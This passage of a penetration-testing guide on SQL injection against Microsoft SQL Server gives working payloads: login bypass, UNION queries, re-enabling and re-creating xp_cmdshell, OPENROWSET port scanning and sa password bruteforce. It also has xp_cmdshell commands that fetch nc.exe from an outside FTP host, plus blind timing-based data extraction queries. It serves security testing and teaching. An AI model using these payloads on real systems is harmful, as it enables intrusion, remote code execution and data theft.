The most simple (and sometimes most rewarding) case would be that of a login page requesting an user name and password for user login. You can try entering the following string "' or '1'='1" (without double quotes):

https://vulnerable.web.app/login.asp?Username='%20or%20'1'='1&Password='%20or%20'1'='1

If the application is using Dynamic SQL queries, and the string gets appended to the user credentials validation query, this may result in a successful login to the application.


Example 2: Testing for SQL Injection in a GET request

In order to learn how many columns exist

https://vulnerable.web.app/list_report.aspx?number=001%20UNION%20ALL%201,1,'a',1,1,1%20FROM%20users;--


Example 3: Testing in a POST request

SQL Injection, HTTP POST Content: email=%27&whichSubmit=submit&submit.x=0&submit.y=0


A complete post example:

POST https://vulnerable.web.app/forgotpass.asp HTTP/1.1
Host: vulnerable.web.app
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Paros/3.2.13
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://vulnerable.web.app/forgotpass.asp
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
email=%27&whichSubmit=submit&submit.x=0&submit.y=0


The error message obtained when a ' (single quote) character is entered at the email field is:

Microsoft OLE DB Provider for SQL Server error '80040e14'
Unclosed quotation mark before the character string  '.
/forgotpass.asp, line 15 


Example 4: Yet another (useful) GET example

Obtaining the application's source code

a' ; master.dbo.xp_cmdshell ' copy c:\inetpub\wwwroot\login.aspx c:\inetpub\wwwroot\login.txt';--


Example 5: custom xp_cmdshell

All books and papers describing the security best practices for SQL Server recommend disabling xp_cmdshell in SQL Server 2000 (in SQL Server 2005 it is disabled by default). However, if we have sysadmin rights (natively or by bruteforcing the sysadmin password, see below), we can often bypass this limitation.

On SQL Server 2000:

  • If xp_cmdshell has been disabled with sp_dropextendedproc, we can simply inject the following code:
sp_addextendedproc 'xp_cmdshell','xp_log70.dll'
  • If the previous code does not work, it means that the xp_log70.dll has been moved or deleted. In this case we need to inject the following code:
CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) AS
  DECLARE @result int, @OLEResult int, @RunResult int
  DECLARE @ShellID int
  EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT
  IF @OLEResult <> 0 SELECT @result = @OLEResult
  IF @OLEResult <> 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult)
  EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait
  IF @OLEResult <> 0 SELECT @result = @OLEResult
  IF @OLEResult <> 0 RAISERROR ('Run %0X', 14, 1, @OLEResult)
  EXECUTE @OLEResult = sp_OADestroy @ShellID
  return @result


This code, written by Antonin Foller (see links at the bottom of the page), creates a new xp_cmdshell using sp_oacreate, sp_oamethod and sp_oadestroy (as long as they haven't been disabled too, of course). Before using it, we need to delete the first xp_cmdshell we created (even if it was not working), otherwise the two declarations will collide.

On SQL Server 2005, xp_cmdshell can be enabled by injecting the following code instead:

master..sp_configure 'show advanced options',1
reconfigure
master..sp_configure 'xp_cmdshell',1
reconfigure


Example 6: Referer / User-Agent

The REFERER header set to:

Referer: https://vulnerable.web.app/login.aspx', 'user_agent', 'some_ip'); [SQL CODE]--

Allows the execution of arbitrary SQL Code. The same happens with the User-Agent header set to:

User-Agent: user_agent', 'some_ip'); [SQL CODE]--


Example 7: SQL Server as a port scanner

In SQL Server, one of the most useful (at least for the penetration tester) commands is OPENROWSET, which is used to run a query on another DB Server and retrieve the results. The penetration tester can use this command to scan ports of other machines in the target network, injecting the following query:

select * from OPENROWSET('SQLOLEDB','uid=sa;pwd=foobar;Network=DBMSSOCN;Address=x.y.w.z,p;timeout=5','select 1')--


This query will attempt a connection to the address x.y.w.z on port p. If the port is closed, the following message will be returned:

SQL Server does not exist or access denied


On the other hand, if the port is open, one of the following errors will be returned:

General network error. Check your network documentation
OLE DB provider 'sqloledb' reported an error. The provider did not give any information about the error.


Of course, the error message is not always available. If that is the case, we can use the response time to understand what is going on: with a closed port, the timeout (5 seconds in this example) will be consumed, whereas an open port will return the result right away.

Keep in mind that OPENROWSET is enabled by default in SQL Server 2000 but disabled in SQL Server 2005.


Example 8: Upload of executables

Once we can use xp_cmdshell (either the native one or a custom one), we can easily upload executables on the target DB Server. A very common choice is netcat.exe, but any trojan will be useful here. If the target is allowed to start FTP connections to the tester's machine, all that is needed is to inject the following queries:

exec master..xp_cmdshell 'echo open ftp.tester.org > ftpscript.txt';--
exec master..xp_cmdshell 'echo USER >> ftpscript.txt';-- 
exec master..xp_cmdshell 'echo PASS >> ftpscript.txt';--
exec master..xp_cmdshell 'echo bin >> ftpscript.txt';--
exec master..xp_cmdshell 'echo get nc.exe >> ftpscript.txt';--
exec master..xp_cmdshell 'echo quit >> ftpscript.txt';--
exec master..xp_cmdshell 'ftp -s:ftpscript.txt';--


At this point, nc.exe will be uploaded and available.

If FTP is not allowed by the firewall, we have a workaround that exploits the Windows debugger, debug.exe, that is installed by default in all Windows machines. Debug.exe is scriptable and is able to create an executable by executing an appropriate script file. What we need to do is to convert the executable into a debug script (which is a 100% ASCII file), upload it line by line and finally call debug.exe on it. There are several tools that create such debug files (e.g.: makescr.exe by Ollie Whitehouse and dbgtool.exe by toolcrypt.org). The queries to inject will therefore be the following:

exec master..xp_cmdshell 'echo [debug script line #1 of n] > debugscript.txt';--
exec master..xp_cmdshell 'echo [debug script line #2 of n] >> debugscript.txt';--
....
exec master..xp_cmdshell 'echo [debug script line #n of n] >> debugscript.txt';--
exec master..xp_cmdshell 'debug.exe < debugscript.txt';--


At this point, our executable is available on the target machine, ready to be executed. There are tools that automate this process, most notably Bobcat, which runs on Windows, and Sqlninja, which runs on Unix (See the tools at the bottom of this page).


Obtain information when it is not displayed (Out of band)

Not all is lost when the web application does not return any information --such as descriptive error messages (cf. Blind SQL Injection). For example, it might happen that one has access to the source code (e.g., because the web application is based on an open source software). Then, the pen tester can exploit all the SQL injection vulnerabilities discovered offline in the web application. Although an IPS might stop some of these attacks, the best way would be to proceed as follows: develop and test the attacks in a testbed created for that purpose, and then execute these attacks against the web application being tested.


Other options for out of band attacks are described in Sample 4 above.


Blind SQL injection attacks

Trial and error

Alternatively, one may play lucky. That is the attacker may assume that there is a blind or out-of-band SQL injection vulnerability in a the web application. He will then select an attack vector (e.g., a web entry), use fuzz vectors (1) against this channel and watch the response. For example, if the web application is looking for a book using a query

  select * from books where title=text entered by the user

then the penetration tester might enter the text: 'Bomba' OR 1=1- and if data is not properly validated, the query will go through and return the whole list of books. This is evidence that there is a SQL injection vulnerability. The penetration tester might later play with the queries in order to assess the criticality of this vulnerability.


If more than one error message is displayed

On the other hand, if no prior information is available, there is still a possibility of attacking by exploiting any covert channel. It might happen that descriptive error messages are stopped, yet the error messages give some information. For example:

  • In some cases the web application (actually the web server) might return the traditional 500: Internal Server Error, say when the application returns an exception that might be generated, for instance, by a query with unclosed quotes.
  • While in other cases the server will return a 200 OK message, but the web application will return some error message inserted by the developers Internal server error or bad data.


This one bit of information might be enough to understand how the dynamic SQL query is constructed by the web application and tune up an exploit. Another out-of-band method is to output the results through HTTP browseable files.


Timing attacks

There is one more possibility for making a blind SQL injection attack when there is not visible feedback from the application: by measuring the time that the web application takes to answer a request. An attack of this sort is described by Anley in ([2]) from where we take the next examples. A typical approach uses the waitfor delay command: let's say that the attacker wants to check if the 'pubs' sample database exists, he will simply inject the following command:

if exists (select * from pubs..pub_info) waitfor delay '0:0:5'


Depending on the time that the query takes to return, we will know the answer. In fact, what we have here is two things: a SQL injection vulnerability and a covert channel that allows the penetration tester to get 1 bit of information for each query. Hence, using several queries (as many queries as bits in the required information) the pen tester can get any data that is in the database. Look at the following query

declare @s varchar(8000)
declare @i int
select @s = db_name()
select @i = [some value]
if (select len(@s)) < @i waitfor delay '0:0:5'


Measuring the response time and using different values for @i, we can deduce the length of the name of the current database, and then start to extract the name itself with the following query:

if (ascii(substring(@s, @byte, 1)) & ( power(2, @bit))) > 0 waitfor delay '0:0:5'


This query will wait for 5 seconds if bit '@bit' of byte '@byte' of the name of the current database is 1, and will return at once if it is 0. Nesting two cycles (one for @byte and one for @bit) we will we able to extract the whole piece of information.


However, it might happen that the command waitfor is not available (e.g., because it is filtered by an IPS/web application firewall). This doesn't mean that blind SQL injection attacks cannot be done, as the pen tester should only come up with any time consuming operation that is not filtered. For example

declare @i int select @i = 0
while @i < 0xaffff begin
select @i = @i + 1
end


Checking for version and vulnerabilities

The same timing approach can be used also to understand which version of SQL Server we are dealing with. Of course we will leverage the built-in @@version variable. Consider the following query:

select @@version


On SQL Server 2005, it will return something like the following:

Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14 2005 00:33:37 <snip>


The '2005' part of the string spans from the 22nd to the 25th character. Therefore, one query to inject can be the following:

if substring((select @@version),25,1) = 5 waitfor delay '0:0:5'


Such query will wait 5 seconds if the 25th character of the @@version variable is '5', showing us that we are dealing with a SQL Server 2005. If the query returns immediately, we are probably dealing with SQL Server 2000, and another similar query will help to clear all doubts.


Example 9: bruteforce of sysadmin password

To bruteforce the sysadmin password, we can leverage the fact that OPENROWSET needs proper credentials to successfully perform the connection and that such a connection can be also "looped" to the local DB Server. Combining these features with an inferenced injection based on response timing, we can inject the following code:

select * from OPENROWSET('SQLOLEDB','';'sa';'<pwd>','select 1;waitfor delay ''0:0:5'' ')


What we do here is to attempt a connection to the local database (specified by the empty field after 'SQLOLEDB') using "sa" and "<pwd>" as credentials. If the password is correct and the connection is successful, the query is executed, making the DB wait for 5 seconds (and also returning a value, since OPENROWSET expects at least one column). Fetching the candidate passwords from a wordlist and measuring the time needed for each connection, we can attempt to guess the correct password. In "Data-mining with SQL Injection and Inference", David Litchfield pushes this technique even further, by injecting a piece of code in order to bruteforce the sysadmin password using the CPU resources of the DB Server itself.


Once we have the sysadmin password, we have two choices:

  • Inject all following queries using OPENROWSET, in order to use sysadmin privileges
  • Add our current user to the sysadmin group using sp_addsrvrolemember. The current user name can be extracted using inferenced injection against the variable system_user.


Remember that OPENROWSET is accessible to all users on SQL Server 2000 but it is restricted to administrative accounts on SQL Server 2005.


Tools

References

Whitepapers